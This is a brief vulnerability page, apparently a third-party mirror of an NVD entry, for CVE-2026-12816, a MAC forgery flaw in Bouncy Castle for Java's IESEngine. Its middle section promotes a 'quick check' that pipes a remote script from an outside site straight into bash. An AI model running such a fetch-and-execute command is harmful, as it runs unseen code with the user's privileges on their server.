NVD · CVE-2026-12816

CVE-2026-12816

Published: Mon, 03 Aug 2026 04:16

CVE-2026-12816

Summary

In Bouncy Castle for Java before 1.85, IESEngine stream-mode MAC forgery via length-dependent KDF split. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

Are YOU affected by CVE-2026-12816?

5-second check on your actual server. Reads /etc/os-release, uname -r, and dpkg-query; matches against the live USN + Debian Security Tracker feeds; tells you whether CVE-2026-12816 (and any other live CVE) applies. Anonymous, no signup.

curl https://mindsparkstack.com/scan.sh | bash

Form-based quickscan Read the bash source first

References

https://github.com/bcgit/bc-java/commit/6d9e4bbaee9409713ada167e5f901554cbb084ac
https://github.com/bcgit/bc-java/wiki/CVE%E2%80%902026%E2%80%9012816

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